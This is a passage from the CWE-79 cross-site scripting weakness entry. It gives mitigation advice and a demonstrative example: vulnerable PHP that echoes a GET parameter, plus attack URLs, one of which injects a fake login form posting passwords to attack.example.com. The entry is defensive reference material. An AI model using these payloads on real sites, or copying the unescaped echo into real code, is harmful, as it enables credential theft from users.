169
Strategy = Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use
a list of acceptable inputs that strictly conform to specifications. Reject any input that does not
strictly conform to specifications, or transform it into something that does. When performing
input validation, consider all potentially relevant properties, including length, type of input, the
full range of acceptable values, missing or extra inputs, syntax, consistency across related
fields, and conformance to business rules. As an example of business rule logic, "boat" may be
syntactically valid because it only contains alphanumeric characters, but it is not valid if the input
is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for
malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if
the code's environment changes. This can give attackers enough room to bypass the intended
validation. However, denylists can be useful for detecting potential attacks or determining which
inputs are so malformed that they should be rejected outright. When dynamically constructing
web pages, use stringent allowlists that limit the character set based on the expected value of the
parameter in the request. All input should be validated and cleansed, not just parameters that the
user is supposed to specify, but all data in the request, including hidden fields, cookies, headers,
the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is
to validate only fields that are expected to be redisplayed by the site. It is common to see data
from the request that is reflected by the application server or the application that the development
team did not anticipate. Also, a field that is not currently reflected may be used by a future
developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that
proper output encoding, escaping, and quoting is the most effective solution for preventing XSS,
although input validation may provide some defense-in-depth. This is because it effectively limits
what will appear in output. Input validation will not always prevent XSS, especially if you are
required to support free-form text fields that could contain arbitrary characters. For example,
in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is
commonly used. However, it cannot be directly inserted into the web page because it contains
the "<" character, which would need to be escaped or otherwise handled. In this case, stripping
the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the
emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be
more important in a mathematical forum that wants to represent inequalities. Even if you make a
mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is
still likely to protect you from injection-based attacks. As long as it is not done in isolation, input
validation is still a useful technique, since it may significantly reduce your attack surface, allow
you to detect some attacks, and provide other security benefits that proper encoding does not
address. Ensure that you perform input validation at well-defined interfaces within the application.
This will help protect the application even if a component is reused or moved elsewhere.
Phase: Architecture and Design
Strategy = Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a
mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs,
and reject all other inputs.
Phase: Operation
Strategy = Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial
in cases in which the code cannot be fixed (because it is controlled by a third party), as an
emergency prevention measure while more comprehensive software assurance measures are
applied, or to provide defense in depth.
Effectiveness = Moderate
An application firewall might not cover all possible input vectors. In addition, attack techniques
might be available to bypass the protection mechanism, such as using malformed inputs that can
CWE Version 4.14
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-79: Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') 170
still be processed by the component that receives those inputs. Depending on functionality, an
application firewall might inadvertently reject or modify legitimate requests. Finally, some manual
effort may be required for customization.
Phase: Operation
Phase: Implementation
Strategy = Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During
implementation, develop the application so that it does not rely on this feature, but be wary of
implementing a register_globals emulation that is subject to weaknesses such as CWE-95,
CWE-621, and similar issues.
Demonstrative Examples
Example 1:
The following code displays a welcome message on a web page based on the HTTP GET
username parameter (covers a Reflected XSS (Type 1) scenario).
Example Language: PHP (Bad)
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
Because the parameter can be arbitrary, the url of the page could be modified so $username
contains scripting syntax, such as
Example Language: (Attack)
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</
Script>
This results in a harmless alert dialog popping up. Initially this might not appear to be much of a
vulnerability. After all, why would someone enter a URL that causes malicious code to run on their
own computer? The real danger is that an attacker will create the malicious URL, then use e-mail
or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link,
they unwittingly reflect the malicious content through the vulnerable web application back to their
own computers.
More realistically, the attacker can embed a fake login box on the page, tricking the user into
sending the user's password to the attacker:
Example Language: (Attack)
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input"
action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /
><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
If a user clicks on this link then Welcome.php will generate the following HTML and send it to the
user's browser:
Example Language: (Result)
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>
</div></div>
CWE Version 4.14
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-79: Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting')